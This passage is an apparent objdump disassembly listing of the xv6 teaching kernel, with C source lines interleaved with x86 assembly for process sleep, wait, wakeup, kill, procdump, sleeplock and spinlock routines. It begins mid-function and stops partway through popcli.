80103bf5: 53 push %ebx 80103bf6: 83 ec 1c sub $0x1c,%esp 80103bf9: 8b 7d 08 mov 0x8(%ebp),%edi 80103bfc: 8b 75 0c mov 0xc(%ebp),%esi struct proc *p = myproc(); 80103bff: e8 8c fa ff ff call 80103690 <myproc> if(p == 0) 80103c04: 85 c0 test %eax,%eax struct proc *p = myproc(); 80103c06: 89 c3 mov %eax,%ebx if(p == 0) 80103c08: 0f 84 7c 00 00 00 je 80103c8a <sleep+0x9a> if(lk == 0) 80103c0e: 85 f6 test %esi,%esi 80103c10: 74 6c je 80103c7e <sleep+0x8e> if(lk != &ptable.lock){ //DOC: sleeplock0 80103c12: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi 80103c18: 74 46 je 80103c60 <sleep+0x70> acquire(&ptable.lock); //DOC: sleeplock1 80103c1a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c21: e8 0a 05 00 00 call 80104130 <acquire> release(lk); 80103c26: 89 34 24 mov %esi,(%esp) 80103c29: e8 f2 05 00 00 call 80104220 <release> p->chan = chan; 80103c2e: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103c31: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103c38: e8 b3 fd ff ff call 801039f0 <sched> p->chan = 0; 80103c3d: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) release(&ptable.lock); 80103c44: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c4b: e8 d0 05 00 00 call 80104220 <release> acquire(lk); 80103c50: 89 75 08 mov %esi,0x8(%ebp) } 80103c53: 83 c4 1c add $0x1c,%esp 80103c56: 5b pop %ebx 80103c57: 5e pop %esi 80103c58: 5f pop %edi 80103c59: 5d pop %ebp acquire(lk); 80103c5a: e9 d1 04 00 00 jmp 80104130 <acquire> 80103c5f: 90 nop p->chan = chan; 80103c60: 89 78 20 mov %edi,0x20(%eax) p->state = SLEEPING; 80103c63: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax) sched(); 80103c6a: e8 81 fd ff ff call 801039f0 <sched> p->chan = 0; 80103c6f: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) } 80103c76: 83 c4 1c add $0x1c,%esp 80103c79: 5b pop %ebx 80103c7a: 5e pop %esi 80103c7b: 5f pop %edi 80103c7c: 5d pop %ebp 80103c7d: c3 ret panic("sleep without lk"); 80103c7e: c7 04 24 0f 74 10 80 movl $0x8010740f,(%esp) 80103c85: e8 d6 c6 ff ff call 80100360 <panic> panic("sleep"); 80103c8a: c7 04 24 09 74 10 80 movl $0x80107409,(%esp) 80103c91: e8 ca c6 ff ff call 80100360 <panic> 80103c96: 8d 76 00 lea 0x0(%esi),%esi 80103c99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103ca0 <wait>: { 80103ca0: 55 push %ebp 80103ca1: 89 e5 mov %esp,%ebp 80103ca3: 56 push %esi 80103ca4: 53 push %ebx 80103ca5: 83 ec 10 sub $0x10,%esp struct proc *curproc = myproc(); 80103ca8: e8 e3 f9 ff ff call 80103690 <myproc> acquire(&ptable.lock); 80103cad: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) struct proc *curproc = myproc(); 80103cb4: 89 c6 mov %eax,%esi acquire(&ptable.lock); 80103cb6: e8 75 04 00 00 call 80104130 <acquire> havekids = 0; 80103cbb: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cbd: bb 54 2d 11 80 mov $0x80112d54,%ebx 80103cc2: eb 0f jmp 80103cd3 <wait+0x33> 80103cc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103cc8: 83 eb 80 sub $0xffffff80,%ebx 80103ccb: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx 80103cd1: 74 1d je 80103cf0 <wait+0x50> if(p->parent != curproc) 80103cd3: 39 73 14 cmp %esi,0x14(%ebx) 80103cd6: 75 f0 jne 80103cc8 <wait+0x28> if(p->state == ZOMBIE){ 80103cd8: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80103cdc: 74 2f je 80103d0d <wait+0x6d> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cde: 83 eb 80 sub $0xffffff80,%ebx havekids = 1; 80103ce1: b8 01 00 00 00 mov $0x1,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103ce6: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx 80103cec: 75 e5 jne 80103cd3 <wait+0x33> 80103cee: 66 90 xchg %ax,%ax if(!havekids || curproc->killed){ 80103cf0: 85 c0 test %eax,%eax 80103cf2: 74 6e je 80103d62 <wait+0xc2> 80103cf4: 8b 46 24 mov 0x24(%esi),%eax 80103cf7: 85 c0 test %eax,%eax 80103cf9: 75 67 jne 80103d62 <wait+0xc2> sleep(curproc, &ptable.lock); //DOC: wait-sleep 80103cfb: c7 44 24 04 20 2d 11 movl $0x80112d20,0x4(%esp) 80103d02: 80 80103d03: 89 34 24 mov %esi,(%esp) 80103d06: e8 e5 fe ff ff call 80103bf0 <sleep> } 80103d0b: eb ae jmp 80103cbb <wait+0x1b> kfree(p->kstack); 80103d0d: 8b 43 08 mov 0x8(%ebx),%eax pid = p->pid; 80103d10: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80103d13: 89 04 24 mov %eax,(%esp) 80103d16: e8 c5 e5 ff ff call 801022e0 <kfree> freevm(p->pgdir); 80103d1b: 8b 43 04 mov 0x4(%ebx),%eax p->kstack = 0; 80103d1e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80103d25: 89 04 24 mov %eax,(%esp) 80103d28: e8 93 2c 00 00 call 801069c0 <freevm> release(&ptable.lock); 80103d2d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->pid = 0; 80103d34: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80103d3b: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80103d42: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80103d46: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80103d4d: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80103d54: e8 c7 04 00 00 call 80104220 <release> } 80103d59: 83 c4 10 add $0x10,%esp return pid; 80103d5c: 89 f0 mov %esi,%eax } 80103d5e: 5b pop %ebx 80103d5f: 5e pop %esi 80103d60: 5d pop %ebp 80103d61: c3 ret release(&ptable.lock); 80103d62: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103d69: e8 b2 04 00 00 call 80104220 <release> } 80103d6e: 83 c4 10 add $0x10,%esp return -1; 80103d71: b8 ff ff ff ff mov $0xffffffff,%eax } 80103d76: 5b pop %ebx 80103d77: 5e pop %esi 80103d78: 5d pop %ebp 80103d79: c3 ret 80103d7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103d80 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80103d80: 55 push %ebp 80103d81: 89 e5 mov %esp,%ebp 80103d83: 53 push %ebx 80103d84: 83 ec 14 sub $0x14,%esp 80103d87: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 80103d8a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103d91: e8 9a 03 00 00 call 80104130 <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103d96: b8 54 2d 11 80 mov $0x80112d54,%eax 80103d9b: eb 0d jmp 80103daa <wakeup+0x2a> 80103d9d: 8d 76 00 lea 0x0(%esi),%esi 80103da0: 83 e8 80 sub $0xffffff80,%eax 80103da3: 3d 54 4d 11 80 cmp $0x80114d54,%eax 80103da8: 74 1e je 80103dc8 <wakeup+0x48> if(p->state == SLEEPING && p->chan == chan) 80103daa: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103dae: 75 f0 jne 80103da0 <wakeup+0x20> 80103db0: 3b 58 20 cmp 0x20(%eax),%ebx 80103db3: 75 eb jne 80103da0 <wakeup+0x20> p->state = RUNNABLE; 80103db5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103dbc: 83 e8 80 sub $0xffffff80,%eax 80103dbf: 3d 54 4d 11 80 cmp $0x80114d54,%eax 80103dc4: 75 e4 jne 80103daa <wakeup+0x2a> 80103dc6: 66 90 xchg %ax,%ax wakeup1(chan); release(&ptable.lock); 80103dc8: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp) } 80103dcf: 83 c4 14 add $0x14,%esp 80103dd2: 5b pop %ebx 80103dd3: 5d pop %ebp release(&ptable.lock); 80103dd4: e9 47 04 00 00 jmp 80104220 <release> 80103dd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103de0 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80103de0: 55 push %ebp 80103de1: 89 e5 mov %esp,%ebp 80103de3: 53 push %ebx 80103de4: 83 ec 14 sub $0x14,%esp 80103de7: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 80103dea: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103df1: e8 3a 03 00 00 call 80104130 <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103df6: b8 54 2d 11 80 mov $0x80112d54,%eax 80103dfb: eb 0d jmp 80103e0a <kill+0x2a> 80103dfd: 8d 76 00 lea 0x0(%esi),%esi 80103e00: 83 e8 80 sub $0xffffff80,%eax 80103e03: 3d 54 4d 11 80 cmp $0x80114d54,%eax 80103e08: 74 36 je 80103e40 <kill+0x60> if(p->pid == pid){ 80103e0a: 39 58 10 cmp %ebx,0x10(%eax) 80103e0d: 75 f1 jne 80103e00 <kill+0x20> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103e0f: 83 78 0c 02 cmpl $0x2,0xc(%eax) p->killed = 1; 80103e13: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) if(p->state == SLEEPING) 80103e1a: 74 14 je 80103e30 <kill+0x50> p->state = RUNNABLE; release(&ptable.lock); 80103e1c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e23: e8 f8 03 00 00 call 80104220 <release> return 0; } } release(&ptable.lock); return -1; } 80103e28: 83 c4 14 add $0x14,%esp return 0; 80103e2b: 31 c0 xor %eax,%eax } 80103e2d: 5b pop %ebx 80103e2e: 5d pop %ebp 80103e2f: c3 ret p->state = RUNNABLE; 80103e30: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103e37: eb e3 jmp 80103e1c <kill+0x3c> 80103e39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80103e40: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e47: e8 d4 03 00 00 call 80104220 <release> } 80103e4c: 83 c4 14 add $0x14,%esp return -1; 80103e4f: b8 ff ff ff ff mov $0xffffffff,%eax } 80103e54: 5b pop %ebx 80103e55: 5d pop %ebp 80103e56: c3 ret 80103e57: 89 f6 mov %esi,%esi 80103e59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103e60 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80103e60: 55 push %ebp 80103e61: 89 e5 mov %esp,%ebp 80103e63: 57 push %edi 80103e64: 56 push %esi 80103e65: 53 push %ebx 80103e66: bb c0 2d 11 80 mov $0x80112dc0,%ebx 80103e6b: 83 ec 4c sub $0x4c,%esp 80103e6e: 8d 75 e8 lea -0x18(%ebp),%esi 80103e71: eb 20 jmp 80103e93 <procdump+0x33> 80103e73: 90 nop 80103e74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 80103e78: c7 04 24 8b 78 10 80 movl $0x8010788b,(%esp) 80103e7f: e8 cc c7 ff ff call 80100650 <cprintf> 80103e84: 83 eb 80 sub $0xffffff80,%ebx for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e87: 81 fb c0 4d 11 80 cmp $0x80114dc0,%ebx 80103e8d: 0f 84 8d 00 00 00 je 80103f20 <procdump+0xc0> if(p->state == UNUSED) 80103e93: 8b 43 a0 mov -0x60(%ebx),%eax 80103e96: 85 c0 test %eax,%eax 80103e98: 74 ea je 80103e84 <procdump+0x24> if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103e9a: 83 f8 05 cmp $0x5,%eax state = "???"; 80103e9d: ba 20 74 10 80 mov $0x80107420,%edx if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103ea2: 77 11 ja 80103eb5 <procdump+0x55> 80103ea4: 8b 14 85 80 74 10 80 mov -0x7fef8b80(,%eax,4),%edx state = "???"; 80103eab: b8 20 74 10 80 mov $0x80107420,%eax 80103eb0: 85 d2 test %edx,%edx 80103eb2: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 80103eb5: 8b 43 a4 mov -0x5c(%ebx),%eax 80103eb8: 89 5c 24 0c mov %ebx,0xc(%esp) 80103ebc: 89 54 24 08 mov %edx,0x8(%esp) 80103ec0: c7 04 24 24 74 10 80 movl $0x80107424,(%esp) 80103ec7: 89 44 24 04 mov %eax,0x4(%esp) 80103ecb: e8 80 c7 ff ff call 80100650 <cprintf> if(p->state == SLEEPING){ 80103ed0: 83 7b a0 02 cmpl $0x2,-0x60(%ebx) 80103ed4: 75 a2 jne 80103e78 <procdump+0x18> getcallerpcs((uint*)p->context->ebp+2, pc); 80103ed6: 8d 45 c0 lea -0x40(%ebp),%eax 80103ed9: 89 44 24 04 mov %eax,0x4(%esp) 80103edd: 8b 43 b0 mov -0x50(%ebx),%eax 80103ee0: 8d 7d c0 lea -0x40(%ebp),%edi 80103ee3: 8b 40 0c mov 0xc(%eax),%eax 80103ee6: 83 c0 08 add $0x8,%eax 80103ee9: 89 04 24 mov %eax,(%esp) 80103eec: e8 6f 01 00 00 call 80104060 <getcallerpcs> 80103ef1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<10 && pc[i] != 0; i++) 80103ef8: 8b 17 mov (%edi),%edx 80103efa: 85 d2 test %edx,%edx 80103efc: 0f 84 76 ff ff ff je 80103e78 <procdump+0x18> cprintf(" %p", pc[i]); 80103f02: 89 54 24 04 mov %edx,0x4(%esp) 80103f06: 83 c7 04 add $0x4,%edi 80103f09: c7 04 24 61 6e 10 80 movl $0x80106e61,(%esp) 80103f10: e8 3b c7 ff ff call 80100650 <cprintf> for(i=0; i<10 && pc[i] != 0; i++) 80103f15: 39 f7 cmp %esi,%edi 80103f17: 75 df jne 80103ef8 <procdump+0x98> 80103f19: e9 5a ff ff ff jmp 80103e78 <procdump+0x18> 80103f1e: 66 90 xchg %ax,%ax } } 80103f20: 83 c4 4c add $0x4c,%esp 80103f23: 5b pop %ebx 80103f24: 5e pop %esi 80103f25: 5f pop %edi 80103f26: 5d pop %ebp 80103f27: c3 ret 80103f28: 66 90 xchg %ax,%ax 80103f2a: 66 90 xchg %ax,%ax 80103f2c: 66 90 xchg %ax,%ax 80103f2e: 66 90 xchg %ax,%ax 80103f30 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 80103f30: 55 push %ebp 80103f31: 89 e5 mov %esp,%ebp 80103f33: 53 push %ebx 80103f34: 83 ec 14 sub $0x14,%esp 80103f37: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 80103f3a: c7 44 24 04 98 74 10 movl $0x80107498,0x4(%esp) 80103f41: 80 80103f42: 8d 43 04 lea 0x4(%ebx),%eax 80103f45: 89 04 24 mov %eax,(%esp) 80103f48: e8 f3 00 00 00 call 80104040 <initlock> lk->name = name; 80103f4d: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 80103f50: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 80103f56: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) lk->name = name; 80103f5d: 89 43 38 mov %eax,0x38(%ebx) } 80103f60: 83 c4 14 add $0x14,%esp 80103f63: 5b pop %ebx 80103f64: 5d pop %ebp 80103f65: c3 ret 80103f66: 8d 76 00 lea 0x0(%esi),%esi 80103f69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103f70 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 80103f70: 55 push %ebp 80103f71: 89 e5 mov %esp,%ebp 80103f73: 56 push %esi 80103f74: 53 push %ebx 80103f75: 83 ec 10 sub $0x10,%esp 80103f78: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80103f7b: 8d 73 04 lea 0x4(%ebx),%esi 80103f7e: 89 34 24 mov %esi,(%esp) 80103f81: e8 aa 01 00 00 call 80104130 <acquire> while (lk->locked) { 80103f86: 8b 13 mov (%ebx),%edx 80103f88: 85 d2 test %edx,%edx 80103f8a: 74 16 je 80103fa2 <acquiresleep+0x32> 80103f8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sleep(lk, &lk->lk); 80103f90: 89 74 24 04 mov %esi,0x4(%esp) 80103f94: 89 1c 24 mov %ebx,(%esp) 80103f97: e8 54 fc ff ff call 80103bf0 <sleep> while (lk->locked) { 80103f9c: 8b 03 mov (%ebx),%eax 80103f9e: 85 c0 test %eax,%eax 80103fa0: 75 ee jne 80103f90 <acquiresleep+0x20> } lk->locked = 1; 80103fa2: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80103fa8: e8 e3 f6 ff ff call 80103690 <myproc> 80103fad: 8b 40 10 mov 0x10(%eax),%eax 80103fb0: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80103fb3: 89 75 08 mov %esi,0x8(%ebp) } 80103fb6: 83 c4 10 add $0x10,%esp 80103fb9: 5b pop %ebx 80103fba: 5e pop %esi 80103fbb: 5d pop %ebp release(&lk->lk); 80103fbc: e9 5f 02 00 00 jmp 80104220 <release> 80103fc1: eb 0d jmp 80103fd0 <releasesleep> 80103fc3: 90 nop 80103fc4: 90 nop 80103fc5: 90 nop 80103fc6: 90 nop 80103fc7: 90 nop 80103fc8: 90 nop 80103fc9: 90 nop 80103fca: 90 nop 80103fcb: 90 nop 80103fcc: 90 nop 80103fcd: 90 nop 80103fce: 90 nop 80103fcf: 90 nop 80103fd0 <releasesleep>: void releasesleep(struct sleeplock *lk) { 80103fd0: 55 push %ebp 80103fd1: 89 e5 mov %esp,%ebp 80103fd3: 56 push %esi 80103fd4: 53 push %ebx 80103fd5: 83 ec 10 sub $0x10,%esp 80103fd8: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80103fdb: 8d 73 04 lea 0x4(%ebx),%esi 80103fde: 89 34 24 mov %esi,(%esp) 80103fe1: e8 4a 01 00 00 call 80104130 <acquire> lk->locked = 0; 80103fe6: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 80103fec: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 80103ff3: 89 1c 24 mov %ebx,(%esp) 80103ff6: e8 85 fd ff ff call 80103d80 <wakeup> release(&lk->lk); 80103ffb: 89 75 08 mov %esi,0x8(%ebp) } 80103ffe: 83 c4 10 add $0x10,%esp 80104001: 5b pop %ebx 80104002: 5e pop %esi 80104003: 5d pop %ebp release(&lk->lk); 80104004: e9 17 02 00 00 jmp 80104220 <release> 80104009: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104010 <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 80104010: 55 push %ebp 80104011: 89 e5 mov %esp,%ebp 80104013: 56 push %esi 80104014: 53 push %ebx 80104015: 83 ec 10 sub $0x10,%esp 80104018: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 8010401b: 8d 73 04 lea 0x4(%ebx),%esi 8010401e: 89 34 24 mov %esi,(%esp) 80104021: e8 0a 01 00 00 call 80104130 <acquire> r = lk->locked; 80104026: 8b 1b mov (%ebx),%ebx release(&lk->lk); 80104028: 89 34 24 mov %esi,(%esp) 8010402b: e8 f0 01 00 00 call 80104220 <release> return r; } 80104030: 83 c4 10 add $0x10,%esp 80104033: 89 d8 mov %ebx,%eax 80104035: 5b pop %ebx 80104036: 5e pop %esi 80104037: 5d pop %ebp 80104038: c3 ret 80104039: 66 90 xchg %ax,%ax 8010403b: 66 90 xchg %ax,%ax 8010403d: 66 90 xchg %ax,%ax 8010403f: 90 nop 80104040 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 80104040: 55 push %ebp 80104041: 89 e5 mov %esp,%ebp 80104043: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 80104046: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 80104049: c7 00 00 00 00 00 movl $0x0,(%eax) lk->name = name; 8010404f: 89 50 04 mov %edx,0x4(%eax) lk->cpu = 0; 80104052: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 80104059: 5d pop %ebp 8010405a: c3 ret 8010405b: 90 nop 8010405c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104060 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80104060: 55 push %ebp 80104061: 89 e5 mov %esp,%ebp uint *ebp; int i; ebp = (uint*)v - 2; 80104063: 8b 45 08 mov 0x8(%ebp),%eax { 80104066: 8b 4d 0c mov 0xc(%ebp),%ecx 80104069: 53 push %ebx ebp = (uint*)v - 2; 8010406a: 8d 50 f8 lea -0x8(%eax),%edx for(i = 0; i < 10; i++){ 8010406d: 31 c0 xor %eax,%eax 8010406f: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104070: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx 80104076: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 8010407c: 77 1a ja 80104098 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 8010407e: 8b 5a 04 mov 0x4(%edx),%ebx 80104081: 89 1c 81 mov %ebx,(%ecx,%eax,4) for(i = 0; i < 10; i++){ 80104084: 83 c0 01 add $0x1,%eax ebp = (uint*)ebp[0]; // saved %ebp 80104087: 8b 12 mov (%edx),%edx for(i = 0; i < 10; i++){ 80104089: 83 f8 0a cmp $0xa,%eax 8010408c: 75 e2 jne 80104070 <getcallerpcs+0x10> } for(; i < 10; i++) pcs[i] = 0; } 8010408e: 5b pop %ebx 8010408f: 5d pop %ebp 80104090: c3 ret 80104091: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi pcs[i] = 0; 80104098: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) for(; i < 10; i++) 8010409f: 83 c0 01 add $0x1,%eax 801040a2: 83 f8 0a cmp $0xa,%eax 801040a5: 74 e7 je 8010408e <getcallerpcs+0x2e> pcs[i] = 0; 801040a7: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) for(; i < 10; i++) 801040ae: 83 c0 01 add $0x1,%eax 801040b1: 83 f8 0a cmp $0xa,%eax 801040b4: 75 e2 jne 80104098 <getcallerpcs+0x38> 801040b6: eb d6 jmp 8010408e <getcallerpcs+0x2e> 801040b8: 90 nop 801040b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801040c0 <holding>: // Check whether this cpu is holding the lock. int holding(struct spinlock *lock) { 801040c0: 55 push %ebp return lock->locked && lock->cpu == mycpu(); 801040c1: 31 c0 xor %eax,%eax { 801040c3: 89 e5 mov %esp,%ebp 801040c5: 53 push %ebx 801040c6: 83 ec 04 sub $0x4,%esp 801040c9: 8b 55 08 mov 0x8(%ebp),%edx return lock->locked && lock->cpu == mycpu(); 801040cc: 8b 0a mov (%edx),%ecx 801040ce: 85 c9 test %ecx,%ecx 801040d0: 74 10 je 801040e2 <holding+0x22> 801040d2: 8b 5a 08 mov 0x8(%edx),%ebx 801040d5: e8 16 f5 ff ff call 801035f0 <mycpu> 801040da: 39 c3 cmp %eax,%ebx 801040dc: 0f 94 c0 sete %al 801040df: 0f b6 c0 movzbl %al,%eax } 801040e2: 83 c4 04 add $0x4,%esp 801040e5: 5b pop %ebx 801040e6: 5d pop %ebp 801040e7: c3 ret 801040e8: 90 nop 801040e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801040f0 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 801040f0: 55 push %ebp 801040f1: 89 e5 mov %esp,%ebp 801040f3: 53 push %ebx 801040f4: 83 ec 04 sub $0x4,%esp 801040f7: 9c pushf 801040f8: 5b pop %ebx asm volatile("cli"); 801040f9: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 801040fa: e8 f1 f4 ff ff call 801035f0 <mycpu> 801040ff: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 80104105: 85 c0 test %eax,%eax 80104107: 75 11 jne 8010411a <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 80104109: e8 e2 f4 ff ff call 801035f0 <mycpu> 8010410e: 81 e3 00 02 00 00 and $0x200,%ebx 80104114: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 8010411a: e8 d1 f4 ff ff call 801035f0 <mycpu> 8010411f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 80104126: 83 c4 04 add $0x4,%esp 80104129: 5b pop %ebx 8010412a: 5d pop %ebp 8010412b: c3 ret 8010412c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104130 <acquire>: { 80104130: 55 push %ebp 80104131: 89 e5 mov %esp,%ebp 80104133: 53 push %ebx 80104134: 83 ec 14 sub $0x14,%esp pushcli(); // disable interrupts to avoid deadlock. 80104137: e8 b4 ff ff ff call 801040f0 <pushcli> if(holding(lk)) 8010413c: 8b 55 08 mov 0x8(%ebp),%edx return lock->locked && lock->cpu == mycpu(); 8010413f: 8b 02 mov (%edx),%eax 80104141: 85 c0 test %eax,%eax 80104143: 75 43 jne 80104188 <acquire+0x58> asm volatile("lock; xchgl %0, %1" : 80104145: b9 01 00 00 00 mov $0x1,%ecx 8010414a: eb 07 jmp 80104153 <acquire+0x23> 8010414c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104150: 8b 55 08 mov 0x8(%ebp),%edx 80104153: 89 c8 mov %ecx,%eax 80104155: f0 87 02 lock xchg %eax,(%edx) while(xchg(&lk->locked, 1) != 0) 80104158: 85 c0 test %eax,%eax 8010415a: 75 f4 jne 80104150 <acquire+0x20> __sync_synchronize(); 8010415c: 0f ae f0 mfence lk->cpu = mycpu(); 8010415f: 8b 5d 08 mov 0x8(%ebp),%ebx 80104162: e8 89 f4 ff ff call 801035f0 <mycpu> 80104167: 89 43 08 mov %eax,0x8(%ebx) getcallerpcs(&lk, lk->pcs); 8010416a: 8b 45 08 mov 0x8(%ebp),%eax 8010416d: 83 c0 0c add $0xc,%eax 80104170: 89 44 24 04 mov %eax,0x4(%esp) 80104174: 8d 45 08 lea 0x8(%ebp),%eax 80104177: 89 04 24 mov %eax,(%esp) 8010417a: e8 e1 fe ff ff call 80104060 <getcallerpcs> } 8010417f: 83 c4 14 add $0x14,%esp 80104182: 5b pop %ebx 80104183: 5d pop %ebp 80104184: c3 ret 80104185: 8d 76 00 lea 0x0(%esi),%esi return lock->locked && lock->cpu == mycpu(); 80104188: 8b 5a 08 mov 0x8(%edx),%ebx 8010418b: e8 60 f4 ff ff call 801035f0 <mycpu> if(holding(lk)) 80104190: 39 c3 cmp %eax,%ebx 80104192: 74 05 je 80104199 <acquire+0x69> 80104194: 8b 55 08 mov 0x8(%ebp),%edx 80104197: eb ac jmp 80104145 <acquire+0x15> panic("acquire"); 80104199: c7 04 24 a3 74 10 80 movl $0x801074a3,(%esp) 801041a0: e8 bb c1 ff ff call 80100360 <panic> 801041a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801041a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801041b0 <popcli>: void popcli(void) { 801041b0: 55 push %ebp 801041b1: 89 e5 mov %esp,%ebp 801041b3: 83 ec 18 sub $0x18,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 801041b6: 9c pushf 801041b7: 58 pop %eax if(readeflags()&FL_IF) 801041b8: f6 c4 02 test $0x2,%ah 801041bb: 75 49 jne 80104206 <popcli+0x56> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 801041bd: e8 2e f4 ff ff call 801035f0 <mycpu> 801041c2: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx 801041c8: 8d 51 ff lea -0x1(%ecx),%edx 801041cb: 85 d2 test %edx,%edx 801041cd: 89 90 a4 00 00 00 mov %edx,0xa4(%eax) 801041d3: 78 25 js 801041fa <popcli+0x4a> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 801041d5: e8 16 f4 ff ff call 801035f0 <mycpu> 801041da: 8b 90 a4 